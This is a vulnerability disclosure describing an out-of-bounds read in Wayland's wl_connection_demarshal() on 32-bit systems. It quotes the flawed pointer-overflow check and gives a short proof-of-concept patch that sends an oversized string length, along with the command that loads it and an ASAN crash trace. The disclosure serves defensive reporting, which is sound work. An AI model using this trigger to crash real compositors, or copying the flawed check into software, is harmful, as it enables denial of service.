Wayland wl_connection_demarshal() Out-Of-Bounds Memory Access

`Wayland: out-of-bounds memory access in wl_connection_demarshal() on 32-bit systems   
  
  
  
  
In wl_connection_demarshal(), incoming strings are parsed as follows:  
  
// audit note: `length` is a u32  
// audit note: `p` points to raw incoming u32  
length = *p++;  
  
if (length == 0) {  
closure->args[i].s = NULL;  
break;  
}  
  
// audit note: DIV_ROUNDUP overflows on 32-bit systems  
next = p + DIV_ROUNDUP(length, sizeof *p);  
// audit note: UB, comparing OOB pointer  
if (next > end) {  
wl_log("message too short, "  
"object (%d), message %s(%s)\n",  
closure->sender_id, message->name,  
message->signature);  
errno = EINVAL;  
goto err;  
}  
  
s = (char *) p;  
  
// audit note: `length > 0` is superfluous, already checked for that above  
if (length > 0 && s[length - 1] != '\0') {  
wl_log("string not nul-terminated, "  
"message %s(%s)\n",  
message->name, message->signature);  
errno = EINVAL;  
goto err;  
}  
  
closure->args[i].s = s;  
p = next;  
break;  
  
In C, in theory, computing an out-of-bounds pointer causes undefined behavior. In practice, what usually happens is that the code behaves as expected as long as the pointer computation doesn't overflow. When the pointer computation does overflow, the pointer wraps around, and you end up comparing a pointer that is smaller than the start of the allocation to the end of the allocation. This means that on a 32-bit system, when this code receives a sufficiently big 32-bit integer as length, the "next > end" check won't trigger, and an out-of-bounds access results at "s[length - 1] != '\0'".  
  
To test this, I compiled a copy of the wayland library with the following patch that causes it to send malformed data, to be injected into the client:  
  
diff --git a/src/connection.c b/src/connection.c  
index 294c521..c84ad86 100644  
--- a/src/connection.c  
+++ b/src/connection.c  
@@ -1137,7 +1137,7 @@ serialize_closure(struct wl_closure *closure, uint32_t *buffer,  
}  
  
size = strlen(closure->args[i].s) + 1;  
- *p++ = size;  
+ *p++ = (size | 0x80000000);  
  
if (p + DIV_ROUNDUP(size, sizeof *p) > end)  
goto overflow;  
  
Then I launched weston (compiled with ASAN), opened a terminal in weston, and ran the following command to run a weston-terminal using the modified wayland library:  
  
LD_LIBRARY_PATH=/home/user/BADWAYLAND/wayland/.libs /home/user/install/bin/weston-terminal  
  
This causes weston to die with the following crash:  
  
ASAN:DEADLYSIGNAL  
=================================================================  
==26785==ERROR: AddressSanitizer: SEGV on unknown address 0x264a6d09 (pc 0xb70ef8f4 bp 0xbfc08528 sp 0xbfc083f0 T0)  
#0 0xb70ef8f3 in wl_connection_demarshal src/connection.c:749  
#1 0xb70e168a in wl_client_connection_data src/wayland-server.c:398  
#2 0xb70e9427 in wl_event_source_fd_dispatch src/event-loop.c:95  
#3 0xb70eb2d2 in wl_event_loop_dispatch src/event-loop.c:641  
#4 0xb70e47c4 in wl_display_run src/wayland-server.c:1260  
#5 0x47d559 in main compositor/main.c:2582  
#6 0xb6d94285 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18285)  
#7 0x4724c0 (/home/user/install/bin/weston+0x54c0)  
  
AddressSanitizer can not provide additional info.  
SUMMARY: AddressSanitizer: SEGV src/connection.c:749 in wl_connection_demarshal  
==26785==ABORTING  
child 26790 exited  
  
I recommend comparing lengths instead of comparing pointers for checks like this one.  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available (whichever is earlier), the bug  
report will become visible to the public.  
  
  
  
  
Found by: jannh  
  
`